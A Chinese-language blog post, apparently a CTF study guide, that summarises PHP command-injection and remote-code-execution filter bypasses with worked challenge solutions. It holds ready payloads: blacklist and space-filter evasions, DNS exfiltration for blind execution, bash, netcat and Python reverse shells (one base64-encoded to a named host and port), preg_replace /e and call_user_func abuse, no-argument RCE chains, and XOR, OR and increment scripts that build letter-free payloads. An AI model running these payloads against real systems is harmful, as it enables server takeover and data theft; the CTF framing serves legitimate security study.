Back

PHP绕过总结

你染上PHP了?

命令执行

常用函数:

  • 有回显:system()passthru()
  • 无回显:exec()shell_exec()

黑名单过滤

CTF中常见的形式,将命令执行的关键字替换为其他字符或直接过滤 可用其他功能类似的命令绕过:

如读取文件可以用:cattacmorelessheadtailsortuniqfile -f(报错读取),rev(反向读取),curl file:///flagbash -v /flag

也可以用通配符匹配,即*(匹配多个字符)与?(匹配单个字符)

linux下的命令都在/usr/bin目录下,用tac命令读取根目录下的flag如下:/???/???/t?c *.txt

或使用符号拼接

ca''t /flag->ca\t /f\lag->ca$IFS$1t /flag

也可以使用正则匹配

cat /[^e][k-m]??,其中[^e]表示这一位不是字母e[k-m]表示这一位是l,之后用两位通配符匹配

内联执行绕过

若当前目录下有index.phpflag.php,则cat `ls`相当于执行了cat index.php;cat flag.php cat $(ls)同理

空格过滤

可以用<>${IFS}$IFS$9%09%0b%0c来代替空格

无回显命令执行

之前说过,在命令执行函数中,execshell_exec是不会有回显的,以下针对无回显的命令执行漏洞有几种利用方法

写文件

当我们有写入权限时,可以将命令执行的结果写入到文件中,随后在浏览器中访问即可
ls>1.txtls | tee 1.txt

dns外带信息

假如我们没用写权限,但是可以出网,可以用DNS外带信息,常用平台有http://dnslog.cn/http://ceye.io/profile

反弹shell

这是一个大主题,以后会专门写一篇详细的,这里简单提一嘴
bash

1
2
3
4
5
6
bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1"
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9tYXg2LmZ1bi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'
nc [IP] [Port] -e /bin/sh

#监听
nc -lvvnp [Port]

python

1
2
3
4
5
6
python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("your-ip",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvvnp 2333
  
python3 -c "import pty;pty.spawn('/bin/bash')" #模拟终端

无字母数字命令执行

直接参考探姬大佬的BashFuck

远程代码执行

常用函数:eval()assert()preg_replace()create_function()call_user_func()

preg_replace的代码执行漏洞

preg_replace/e模式下会触发代码执行漏洞,这里简单过一下,之后会出单独的篇章展开讲讲

1
preg_replace(mixed $pattern , mixed $replacement , mixed $subject)

搜索subject中匹配pattern的部分,以replacement进行替换

pattern正则表达式为/e模式时,可以实现代码执行

1
2
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

传参:

1
http://x.x.x.x/xxx.php?pattern=/233/e&new=phpinfo()&base=233

call_user_func利用

该函数把第一个参数作为回调函数使用

1
<?php call_user_func($_POST['fun'],$_POST['arg'])?>

传参如下

1
fun=system&arg=whoami

无参数RCE

核心代码:

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

关键点在于('/[^\W]+((?R)?/这个正则表达式,在该表达式下,每个函数内的参数都会被匹配
以下是用于实现RCE的相关函数

基本操作

  • var_dump()var_export():用于输出变量的相关信息

  • scandir():返回当前目录中所有的文件和目录,结果是一个数组

  • current()pos():返回当前数组中的值(默认第一个)

  • localeconv():返回本地数字及货币信息的数组(该数组的第一项是.,可以与scandir配合使用)

  • getallheaders():获取所有请求头信息,并返回键值对

  • strrev():返回反转后的字符串

  • eval()assert():代码执行

  • system()passthru():命令执行

  • highlight_file()show_source()read_file()readgzfile:读取文件内容

  • getenv():获取环境变量(php7.1版本以上)

  • get_defined_vars():返回由已定义变量所组成的多维数组

数组操作

  • end():内部指针指向数组中最后一个元素并输出

  • next():指向下一个元素并输出

  • prev():指向上一个元素并输出

  • reset():指向数组中第一个元素并输出

  • each():返回当前元素的键名和键值,并将内部指针向前移动

  • array_rand():随机返回一个键名

  • array_flip():交换数组中的键与值,返回交换后的数组

  • array_reverse():以相反的顺序返回数组内容

  • array_shift():删除数组中的第一个元素并返回被删除的值

  • array_pop():删除数组中的最后一个元素并返回被删除的值

  • implode():用于将数组转化为字符串,让echoprintf得以输出结果

目录操作

  • getcwd():获取当前工作目录

  • chdir():改变当前的目录

  • dirname():对路径作操作,返回去掉文件名后的目录名(如/test/index.php返回/test

举个栗子:scandir('.')用于返回当前目录,在无法传参数的情况下,可以用localeconv()构造一个.,再用current()返回.scandir()即可

?payload=var_dump(scandir(current(localeconv())));

相关例题

题目来源:2023NewStarCTF-R!!C!!E!!
源码如下:

1
2
3
4
5
6
7
<?php  
highlight_file(__FILE__);  
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {  
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){  
        eval($_GET['star']);  
    }  
}

这题用到了getallheaders()函数,用于获取当前所有的请求头信息,但只允许在Apache环境下使用,在php7以上的版本可以用apache_request_headers()代替
本题思路是在请求头中添加我们要执行的系统命令,用getallheaders()获取所有的请求头信息,接着用array_flip()array_rand()来调换与获取键值对,最后用system()来执行命令

payload:

1
2
3
4
5
# parmas
?star=system(array_rand(array_flip(getallheaders())));

# headers
flag: cat /f*

由于array_rand()是随机获取的,因此可以删除部分请求头来提高成功率

题目来源:BUUCTF-禁止套娃
源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

并没有过滤scandir(),先看一下目录下的文件
exp:

1
?exp=var_dump(scandir(current(localeconv())));

放包后得到结果,可以看到flag.php位于数组第四个位置

有三种解法,其一是利用array_reverse()next()来对数组进行操作,再用show_source()之类的函数进行读取;其二是用getallheaders();其三便是session_id()

前面也讲到,倘若中间件不是Apache,getallheaders()便无法使用,这里介绍下session_id()的使用

将恶意代码写到cookie的PHPSESSID中,再利用session_id()读取,之后便可以用其他函数来实现命令执行。但是session_id()需要开启session才能使用,因此在此之前还需要用session_start()来开启session服务

payload:

1
2
3
4
5
# parmas
?exp=show_source(session_id(session_start()));

# headers
Cookie: PHPSESSID=flag.php

无字母数字RCE

比较经典的题目,参数不能出现字母和数字
思路:通过非字母数字的字符构造出字母来实现代码执行

核心代码:

1
2
3
4
5
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
    die('hacker!');
}
eval($code);

取反

  • 取反符号:~

取反利用了不可见字符。在经过一次取反后,将不可见字符进行url编码,再将其取反回去就能得到原本的字符
由于取反后的字符大多是不可见的,因此实现了绕过

php脚本:

1
2
3
4
5
6
<?php
$ans1='system';//函数名
$ans2='dir';//命令
$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
echo ('('.$data1.')'.'('.$data2.')'.';');

异或与或

先来讲讲异或。两个字符进行异或操作后,会首先将两个字符化为ascii码值,再转化为二进制,然后进行按位异或,最终会得到一个新的字符。位异或的规则是相同为0,不同为1
异或也可以一次性构造多个字符,如('AB')^('11')

  • 异或符号:^

因此异或的大体构造思路如下:

  1. 寻找未被过滤的字符
  2. 写入我们想得到的字符串,进行遍历,获得第一个字符
  3. 对未被过滤的字符进行遍历,构造出第一个字符
  4. 输出时将字符进行url编码,因为未过滤字符可能包含不可见字符

手动构造必然是十分麻烦的,这里用脚本实现,以下是来自yu22x师傅的脚本
字典生成:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
    for ($j = 0; $j < 256; $j++) {

        if ($i < 16) {
            $hex_i = '0' . dechex($i);
        } else {
            $hex_i = dechex($i);
        }
        if ($j < 16) {
            $hex_j = '0' . dechex($j);
        } else {
            $hex_j = dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
            echo "";
        } else {
            $a = '%' . $hex_i;
            $b = '%' . $hex_j;
            $c = (urldecode($a) ^ urldecode($b));
            if (ord($c) >= 32 & ord($c) <= 126) {
                $contents = $contents . $c . " " . $a . " " . $b . "\n";
            }
        }
    }
}
fwrite($myfile, $contents);
fclose($myfile);

异或构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
# author yu22x

from sys import *

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = '("' + s1 + '"^"' + s2 + '")'
    return output

while True:
    param = (
        action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    )
    print(param)

或的构造与异或原理相同,其运算规则是位有0为0,无0为1

  • 或符号:|

同样放一下yu22x师傅的脚本 字典构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
    for ($j = 0; $j < 256; $j++) {

        if ($i < 16) {
            $hex_i = '0' . dechex($i);
        } else {
            $hex_i = dechex($i);
        }
        if ($j < 16) {
            $hex_j = '0' . dechex($j);
        } else {
            $hex_j = dechex($j);
        }
        $preg = '/[0-9a-z]/i'; //根据题目给的正则表达式修改即可
        if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
            echo "";
        } else {
            $a = '%' . $hex_i;
            $b = '%' . $hex_j;
            $c = (urldecode($a) | urldecode($b));
            if (ord($c) >= 32 & ord($c) <= 126) {
                $contents = $contents . $c . " " . $a . " " . $b . "\n";
            }
        }
    }
}
fwrite($myfile, $contents);
fclose($myfile);

或构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
# author yu22x

from sys import *

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("or_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = '("' + s1 + '"|"' + s2 + '")'
    return output

while True:
    param = (
        action(input("[+] your function:")) + action(input("[+] your command:")) + ";"
    )
    print(param)

在PHP7前,是不允许用($a)()这样的形式来执行动态函数的
在PHP8后,就不支持将没有引号包裹的字符解析为字符串了

自增

利用了php中的递增/递减运算符

简单地说,php支持通过自增来获得其他字母,比如'a'++ => 'b',因此我们只需要拿到一个值为a的变量,就可以通过自增操作来获得所有英文字母

巧的是数组(Array)里包括了大小写的a,等于我们获取了所有的字母
在php中,如果强制连接数组和字符串,数组将转化为值为Array的字符串

在获取这个字符串的第一个字母就获得了A(php函数大小写不敏感)
也可以构造传参,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;$_++;$_++;$_++;
$__=$_;//E
$_++;$_++;
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));

传参时需要将换行都去掉,再进行一次url编码,因为中间件会解码一次

1
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

编码后传参,再用GET传入___作为函数与参数即可